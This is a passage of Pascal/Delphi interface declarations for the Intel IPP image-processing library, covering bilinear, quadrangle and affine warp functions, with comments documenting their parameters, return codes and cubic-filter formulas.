Purpose: Computes the size of external buffer for Bilinear transform
Context:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error condition, if one of the specified pointers is NULL
ippStsSizeErr Indicates an error condition, if one of the image dimensions has zero or negative value
ippStsWarpDirectionErr Indicates an error when the direction value is illegal.
ippStsCoeffErr Indicates an error condition, if the bilinear transformation is singular.
ippStsInterpolationErr Indicates an error condition, the interpolation has an illegal value
ippStsWrongIntersectROI Indicates a warning that no operation is performed,
if the ROI has no intersection with the source or destination ROI. No operation.
ippStsWrongIntersectQuad Indicates a warning that no operation is performed, if the transformed
source image has no intersection with the destination image.
Parameters:
srcSize Size of the source image
srcROI Region of interest in the source image
dstROI Region of interest in the destination image
coeffs The bilinear transform matrix
direction Transformation direction. Possible values are:
ippWarpForward - Forward transformation.
ippWarpBackward - Backward transformation.
coeffs The bilinear transform matrix
interpolation The type of interpolation to perform for resampling
the input image. Possible values:
IPPI_INTER_NN Nearest neighbor interpolation
IPPI_INTER_LINEAR Linear interpolation
IPPI_INTER_CUBIC Cubic convolution interpolation
IPPI_SMOOTH_EDGE Edges smoothing in addition to one of the
above methods
pBufSize Pointer to the size (in bytes) of the external buffer
}
function ippiWarpBilinearGetBufferSize( srcSize : IppiSize ; srcROI : IppiRect ; dstROI : IppiRect ; direction : IppiWarpDirection ; const coeffs : double_2_4 ; interpolation: Word32 ; var pBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiWarpBilinear
Purpose: Performs bilinear warping of an image
|X| |a11| |a12 a13| |J| |a14|
| | = | |*JI + | |*| | + | |
|Y| |a21| |a22 a23| |I| |a24|
Context:
ippStsNoErr OK
ippStsNullPtrErr pSrc or pDst is NULL
ippStsSizeErr One of the image dimensions has zero or negative value
ippStsStepErr srcStep or dstStep has a zero or negative value
ippStsInterpolateErr interpolation has an illegal value
Parameters:
pSrc Pointer to the source image data (point to pixel (0,0))
srcSize Size of the source image
srcStep Step through the source image
srcROI Region of interest in the source image
pDst Pointer to the destination image (point to pixel (0,0))
dstStep Step through the destination image
dstROI Region of interest in the destination image
coeffs The bilinear transform matrix
interpolation The type of interpolation to perform for resampling
the input image. Possible values:
IPPI_INTER_NN Nearest neighbor interpolation
IPPI_INTER_LINEAR Linear interpolation
IPPI_INTER_CUBIC Cubic convolution interpolation
IPPI_SMOOTH_EDGE Edges smoothing in addition to one of the
above methods
pBuffer Pointer to the external work buffer
Notes:
}
function ippiWarpBilinear_8u_C1R( pSrc : Ipp8uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinear_8u_C3R( pSrc : Ipp8uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinear_8u_C4R( pSrc : Ipp8uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinear_32f_C1R( pSrc : Ipp32fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinear_32f_C3R( pSrc : Ipp32fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinear_32f_C4R( pSrc : Ipp32fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinear_16u_C1R( pSrc : Ipp16uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinear_16u_C3R( pSrc : Ipp16uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinear_16u_C4R( pSrc : Ipp16uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiWarpBilinearBack
Purpose: Performs an inverse bilinear warping of an image
|X| |a11| |a12 a13| |J| |a14|
| | = | |*JI + | |*| | + | |
|Y| |a21| |a22 a23| |I| |a24|
Context:
ippStsNoErr OK
ippStsNullPtrErr pSrc or pDst is NULL
ippStsSizeErr One of the image dimensions has zero or negative value
ippStsStepErr srcStep or dstStep has a zero or negative value
ippStsInterpolateErr interpolation has an illegal value
Parameters:
pSrc Pointer to the source image data (point to pixel (0,0))
srcSize Size of the source image
srcStep Step through the source image
srcROI Region of interest in the source image
pDst Pointer to the destination image (point to pixel (0,0))
dstStep Step through the destination image
dstROI Region of interest in the destination image
coeffs The bilinear transform matrix
interpolation The type of interpolation to perform for resampling
the input image. Possible values:
IPPI_INTER_NN Nearest neighbor interpolation
IPPI_INTER_LINEAR Linear interpolation
IPPI_INTER_CUBIC Cubic convolution interpolation
pBuffer Pointer to the external work buffer
Notes:
}
function ippiWarpBilinearBack_8u_C1R( pSrc : Ipp8uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinearBack_8u_C3R( pSrc : Ipp8uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinearBack_8u_C4R( pSrc : Ipp8uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinearBack_32f_C1R( pSrc : Ipp32fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinearBack_32f_C3R( pSrc : Ipp32fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinearBack_32f_C4R( pSrc : Ipp32fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinearBack_16u_C1R( pSrc : Ipp16uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinearBack_16u_C3R( pSrc : Ipp16uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinearBack_16u_C4R( pSrc : Ipp16uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const coeffs : double_2_4 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiWarpBilinearQuadGetBufferSize
Purpose: Computes the size of external buffer for Bilinear warping of
an arbitrary quadrangle in the source image to the quadrangle
in the destination image
Context:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error condition, if pBufSize is NULL
ippStsSizeErr Indicates an error condition in the following cases:
if one of images ROI x, y has negative value
if one of images ROI dimension has zero or negative value
ippStsQuadErr Indicates an error if either of the given quadrangles is nonconvex
or degenerates into triangle, line, or point.
ippStsInterpolateErr Indicates an error condition, the interpolation has an illegal value.
Parameters:
srcSize Size of the source image
srcROI Region of interest in the source image
srcQuad A given quadrangle in the source image
dstROI Region of interest in the destination image
dstQuad A given quadrangle in the destination image
pBufSize Pointer to the size (in bytes) of the external buffer
}
function ippiWarpBilinearQuadGetBufferSize( srcSize : IppiSize ; srcROI : IppiRect ; const srcQuad : double_4_2 ; dstROI : IppiRect ; const dstQuad : double_4_2 ; interpolation: Word32 ; var pBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiWarpBilinearQuad
Purpose: Performs bilinear warping of an arbitrary quadrangle in the source
image to the quadrangle in the destination image
|X| |a11| |a12 a13| |J| |a14|
| | = | |*JI + | |*| | + | |
|Y| |a21| |a22 a23| |I| |a24|
Context:
ippStsNoErr OK
ippStsNullPtrErr pSrc or pDst is NULL
ippStsSizeErr One of the image dimensions has zero or negative value
ippStsStepErr srcStep or dstStep has a zero or negative value
ippStsInterpolateErr interpolation has an illegal value
Parameters:
pSrc Pointer to the source image data (point to pixel (0,0))
srcSize Size of the source image
srcStep Step through the source image
srcROI Region of interest in the source image
srcQuad A given quadrangle in the source image
pDst Pointer to the destination image (point to pixel (0,0))
dstStep Step through the destination image
dstROI Region of interest in the destination image
dstQuad A given quadrangle in the destination image
interpolation The type of interpolation to perform for resampling
the input image. Possible values:
IPPI_INTER_NN Nearest neighbor interpolation
IPPI_INTER_LINEAR Linear interpolation
IPPI_INTER_CUBIC Cubic convolution interpolation
IPPI_SMOOTH_EDGE Edges smoothing in addition to one of the
above methods
pBuffer Pointer to the external work buffer
Notes:
}
function ippiWarpBilinearQuad_8u_C1R( pSrc : Ipp8uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; const srcQuad : double_4_2 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const dstQuad : double_4_2 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinearQuad_8u_C3R( pSrc : Ipp8uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; const srcQuad : double_4_2 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const dstQuad : double_4_2 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinearQuad_8u_C4R( pSrc : Ipp8uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; const srcQuad : double_4_2 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const dstQuad : double_4_2 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinearQuad_32f_C1R( pSrc : Ipp32fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; const srcQuad : double_4_2 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstROI : IppiRect ; const dstQuad : double_4_2 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinearQuad_32f_C3R( pSrc : Ipp32fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; const srcQuad : double_4_2 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstROI : IppiRect ; const dstQuad : double_4_2 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinearQuad_32f_C4R( pSrc : Ipp32fPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; const srcQuad : double_4_2 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstROI : IppiRect ; const dstQuad : double_4_2 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinearQuad_16u_C1R( pSrc : Ipp16uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; const srcQuad : double_4_2 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const dstQuad : double_4_2 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinearQuad_16u_C3R( pSrc : Ipp16uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; const srcQuad : double_4_2 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const dstQuad : double_4_2 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpBilinearQuad_16u_C4R( pSrc : Ipp16uPtr ; srcSize : IppiSize ; srcStep : Int32 ; srcROI : IppiRect ; const srcQuad : double_4_2 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstROI : IppiRect ; const dstQuad : double_4_2 ; interpolation: Word32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Warp Transform functions
----------------------------------------------------------------------------
Name: ippiWarpGetBufferSize
Purpose: Computes the size of external buffer for Warp transform
Parameters:
pSpec Pointer to the Spec structure for warp transform
dstRoiSize Size of the output image (in pixels)
numChannels Number of channels, possible values are 1 or 3 or 4
pBufSize Pointer to the size (in bytes) of the external buffer
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of output image is zero
ippStsContextMatchErr Indicates an error if pointer to an invalid pSpec structure is passed
ippStsNumChannelsErr Indicates an error if numChannels has illegal value
ippStsSizeErr Indicates an error condition in the following cases:
- if width or height of the source image is negative,
- if the calculated buffer size exceeds maximum 32 bit signed integer
positive value (the processed image ROIs are too large ).
ippStsSizeWrn Indicates a warning if the destination image size is more than
the destination image origin size
}
function ippiWarpGetBufferSize( pSpec : IppiWarpSpecPtr ; dstRoiSize : IppiSize ; var pBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiWarpQuadGetSize
Purpose: Computes the size of Spec structure and temporal buffer
for warping of an arbitrary quadrangle in the source
image to the quadrangle in the destination image
Parameters:
srcSize Size of the input image (in pixels)
dstQuad Given quadrangle in the source image
dstSize Size of the output image (in pixels)
dstQuad Given quadrangle in the destination image
transform Warp transform type. Supported values: ippWarpAffine, and ippWarpPerspective.
dataType Data type of the source and destination images. Possible values
are ipp8u, ipp16u, ipp16s, ipp32f and ipp64f.
interpolation Interpolation method. Supported values: ippNearest, ippLinear and ippCubic.
border Type of the border
pSpecSize Pointer to the size (in bytes) of the Spec structure
pInitBufSize Pointer to the size (in bytes) of the temporal buffer
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsSizeErr Indicates an error in the following cases:
- if width or height of the source or destination image is negative,
or equal to zero
- if one of the calculated sizes exceeds maximum 32 bit signed integer
positive value (the size of the one of the processed images is too large).
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsInterpolationErr Indicates an error if interpolation has an illegal value
ippStsNotSupportedModeErr Indicates an error if the requested mode is not supported.
ippStsBorderErr Indicates an error if border type has an illegal value
ippStsQuadErr Indicates an error if either of the given quadrangles is nonconvex
or degenerates into triangle, line, or point
ippStsWarpTransformTypeErr Indicates an error when the transform value is illegal.
ippStsWrongIntersectQuad Indicates a warning that no operation is performed in the following cases:
- if the transformed source image has no intersection with the destination image.
- if either of the source quadrangle or destination quadrangle has no intersection
with the source or destination image correspondingly
}
function ippiWarpQuadGetSize( srcSize : IppiSize ; const srcQuad : double_4_2 ; dstSize : IppiSize ; const dstQuad : double_4_2 ; transform : IppiWarpTransformType ; dataType : IppDataType ; interpolation : IppiInterpolationType ; borderType : IppiBorderType ; var pSpecSize : Int32 ; var pInitBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiWarpQuadNearestInit
ippiWarpQuadLinearInit
ippiWarpQuadCubicInit
Purpose: Initializes the Spec structure for warping of
an arbitrary quadrangle in the source image to the quadrangle
in the destination image
Parameters:
srcSize Size of the input image (in pixels)
srcQuad Given quadrangle in the source image
dstSize Size of the output image (in pixels)
dstQuad Given quadrangle in the destination image
transform Warp transform type. Supported values: ippWarpAffine, and ippWarpPerspective.
dataType Data type of the source and destination images. Possible values
are ipp8u, ipp16u, ipp16s, ipp32f and ipp64f.
numChannels Number of channels, possible values are 1 or 3 or 4
valueB The first parameter (B) for specifying Cubic filters
valueC The second parameter (C) for specifying Cubic filters
border Type of the border
borderValue Pointer to the constant value(s) if border type equals ippBorderConstant
smoothEdge The smooth edge flag. Supported values:
0 - transform without edge smoothing
1 - transform with edge smoothing
pSpec Pointer to the Spec structure for resize filter
pInitBuf Pointer to the temporal buffer for several initialization cases
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsSizeErr Indicates an error if width or height of the source or destination
image is negative, or equal to zero
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsWarpTransformErr Indicates an error when the transform value is illegal.
ippStsNumChannelsErr Indicates an error if numChannels has illegal value
ippStsBorderErr Indicates an error if border type has an illegal value
ippStsQuadErr Indicates an error if either of the given quadrangles is nonconvex
or degenerates into triangle, line, or point
ippStsWrongIntersectQuad Indicates a warning that no operation is performed, if the transformed
source image has no intersection with the destination image.
ippStsNotSupportedModeErr Indicates an error if the requested mode is not supported.
Notes/References:
1. The equation shows the family of cubic filters:
((12-9B-6C)*|x|^3 + (-18+12B+6C)*|x|^2 + (6-2B) ) / 6 for |x| < 1
K(x) = (( -B-6C)*|x|^3 + ( 6B+30C)*|x|^2 + (-12B-48C)*|x| + (8B+24C); / 6 for 1 <= |x| < 2
0 elsewhere
Some values of (B,C) correspond to known cubic splines: Catmull-Rom (B=0,C=0.5), B-Spline (B=1,C=0) and other.
Mitchell, Don P.; Netravali, Arun N. (Aug. 1988). "Reconstruction filters in computer graphics"
http://www.mentallandscape.com/Papers_siggraph88.pdf
2. Supported border types are ippBorderTransp and ippBorderInMem
}
function ippiWarpQuadNearestInit( srcSize : IppiSize ; const srcQuad : double_4_2 ; dstSize : IppiSize ; const dstQuad : double_4_2 ; transform : IppiWarpTransformType ; dataType : IppDataType ; numChannels : Int32 ; borderType : IppiBorderType ; pBorderValue : Ipp64fPtr ; smoothEdge : Int32 ; pSpec : IppiWarpSpecPtr ): IppStatus; _ippapi
function ippiWarpQuadLinearInit( srcSize : IppiSize ; const srcQuad : double_4_2 ; dstSize : IppiSize ; const dstQuad : double_4_2 ; transform : IppiWarpTransformType ; dataType : IppDataType ; numChannels : Int32 ; borderType : IppiBorderType ; pBorderValue : Ipp64fPtr ; smoothEdge : Int32 ; pSpec : IppiWarpSpecPtr ): IppStatus; _ippapi
function ippiWarpQuadCubicInit( srcSize : IppiSize ; const srcQuad : double_4_2 ; dstSize : IppiSize ; const dstQuad : double_4_2 ; transform : IppiWarpTransformType ; dataType : IppDataType ; numChannels : Int32 ; valueB : Ipp64f ; valueC : Ipp64f ; borderType : IppiBorderType ; pBorderValue : Ipp64fPtr ; smoothEdge : Int32 ; pSpec : IppiWarpSpecPtr ; pInitBuf : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Warp Affine Transform functions
----------------------------------------------------------------------------
Name: ippiWarpAffineGetSize
Purpose: Computes the size of Spec structure and temporal buffer for Affine transform
Parameters:
srcSize Size of the input image (in pixels)
dstSize Size of the output image (in pixels)
dataType Data type of the source and destination images. Possible values
are ipp8u, ipp16u, ipp16s, ipp32f and ipp64f.
coeffs The affine transform coefficients
interpolation Interpolation method. Supported values: ippNearest, ippLinear and ippCubic.
direction Transformation direction. Possible values are:
ippWarpForward - Forward transformation.
ippWarpBackward - Backward transformation.
border Type of the border
pSpecSize Pointer to the size (in bytes) of the Spec structure
pInitBufSize Pointer to the size (in bytes) of the temporal buffer
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of any image is zero
ippStsSizeErr Indicates an error in the following cases:
- if width or height of the source or destination image is negative,
- if one of the calculated sizes exceeds maximum 32 bit signed integer
positive value (the size of the one of the processed images is too large).
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsWarpDirectionErr Indicates an error when the direction value is illegal.
ippStsInterpolationErr Indicates an error if interpolation has an illegal value
ippStsNotSupportedModeErr Indicates an error if the requested mode is not supported.
ippStsCoeffErr Indicates an error condition, if affine transformation is singular.
ippStsBorderErr Indicates an error if border type has an illegal value
}
function ippiWarpAffineGetSize( srcSize : IppiSize ; dstSize : IppiSize ; dataType : IppDataType ; const coeffs : double_2_3 ; interpolation : IppiInterpolationType ; direction : IppiWarpDirection ; borderType : IppiBorderType ; var pSpecSize : Int32 ; var pInitBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiWarpAffineNearestInit
ippiWarpAffineLinearInit
ippiWarpAffineCubicInit
Purpose: Initializes the Spec structure for the Warp affine transform
by different interpolation methods
Parameters:
srcSize Size of the input image (in pixels)
dstSize Size of the output image (in pixels)
dataType Data type of the source and destination images. Possible values are:
ipp8u, ipp16u, ipp16s, ipp32f, ipp64f.
coeffs The affine transform coefficients
direction Transformation direction. Possible values are:
ippWarpForward - Forward transformation.
ippWarpBackward - Backward transformation.
numChannels Number of channels, possible values are 1 or 3 or 4
valueB The first parameter (B) for specifying Cubic filters
valueC The second parameter (C) for specifying Cubic filters
border Type of the border
borderValue Pointer to the constant value(s) if border type equals ippBorderConstant
smoothEdge The smooth edge flag. Supported values:
0 - transform without edge smoothing
1 - transform with edge smoothing
pSpec Pointer to the Spec structure for resize filter
pInitBuf Pointer to the temporal buffer for several initialization cases
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of any image is zero
ippStsSizeErr Indicates an error if width or height of the source or destination
image is negative
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsWarpDirectionErr Indicates an error when the direction value is illegal.
ippStsCoeffErr Indicates an error condition, if the affine transformation is singular.
ippStsNumChannelsErr Indicates an error if numChannels has illegal value
ippStsBorderErr Indicates an error if border type has an illegal value
ippStsWrongIntersectQuad Indicates a warning that no operation is performed, if the transformed
source image has no intersection with the destination image.
ippStsNotSupportedModeErr Indicates an error if the requested mode is not supported.
Notes/References:
1. The equation shows the family of cubic filters:
((12-9B-6C)*|x|^3 + (-18+12B+6C)*|x|^2 + (6-2B) ) / 6 for |x| < 1
K(x) = (( -B-6C)*|x|^3 + ( 6B+30C)*|x|^2 + (-12B-48C)*|x| + (8B+24C); / 6 for 1 <= |x| < 2
0 elsewhere
Some values of (B,C) correspond to known cubic splines: Catmull-Rom (B=0,C=0.5), B-Spline (B=1,C=0) and other.
Mitchell, Don P.; Netravali, Arun N. (Aug. 1988). "Reconstruction filters in computer graphics"
http://www.mentallandscape.com/Papers_siggraph88.pdf
2. Supported border types are ippBorderRepl, ippBorderConst, ippBorderTransp and ippBorderInMem
}
function ippiWarpAffineNearestInit( srcSize : IppiSize ; dstSize : IppiSize ; dataType : IppDataType ; const coeffs : double_2_3 ; direction : IppiWarpDirection ; numChannels : Int32 ; borderType : IppiBorderType ; pBorderValue : Ipp64fPtr ; smoothEdge : Int32 ; pSpec : IppiWarpSpecPtr ): IppStatus; _ippapi
function ippiWarpAffineLinearInit( srcSize : IppiSize ; dstSize : IppiSize ; dataType : IppDataType ; const coeffs : double_2_3 ; direction : IppiWarpDirection ; numChannels : Int32 ; borderType : IppiBorderType ; pBorderValue : Ipp64fPtr ; smoothEdge : Int32 ; pSpec : IppiWarpSpecPtr ): IppStatus; _ippapi
function ippiWarpAffineCubicInit( srcSize : IppiSize ; dstSize : IppiSize ; dataType : IppDataType ; const coeffs : double_2_3 ; direction : IppiWarpDirection ; numChannels : Int32 ; valueB : Ipp64f ; valueC : Ipp64f ; borderType : IppiBorderType ; pBorderValue : Ipp64fPtr ; smoothEdge : Int32 ; pSpec : IppiWarpSpecPtr ; pInitBuf : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiWarpAffineNearest
ippiWarpAffineLinear
ippiWarpAffineCubic
Purpose: Performs affine transform of an image with using different interpolation methods
Parameters:
pSrc Pointer to the source image
srcStep Distance (in bytes) between of consecutive lines in the source image
pDst Pointer to the destination image
dstStep Distance (in bytes) between of consecutive lines in the destination image
dstRoiOffset Offset of tiled image respectively destination image origin
dstRoiSize Size of the destination image (in pixels)
border Type of the border
borderValue Pointer to the constant value(s) if border type equals ippBorderConstant
pSpec Pointer to the Spec structure for resize filter
pBuffer Pointer to the work buffer
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of output image is zero
ippStsBorderErr Indicates an error if border type has an illegal value
ippStsContextMatchErr Indicates an error if pointer to an invalid pSpec structure is passed
ippStsNotSupportedModeErr Indicates an error if requested mode is currently not supported
ippStsSizeErr Indicates an error if width or height of the destination image
is negative
ippStsStepErr Indicates an error if the step value is not data type multiple
ippStsOutOfRangeErr Indicates an error if the destination image offset point is outside the
destination image origin
ippStsSizeWrn Indicates a warning if the destination image size is more than
the destination image origin size
ippStsWrongIntersectQuad Indicates a warning that no operation is performed if the destination
ROI has no intersection with the transformed source image origin.
Notes:
1. Supported border types are ippBorderRepl, ippBorderConst, ippBorderTransp and ippBorderRepl
}
function ippiWarpAffineNearest_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineNearest_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineNearest_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineNearest_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineNearest_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineNearest_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineNearest_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineNearest_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
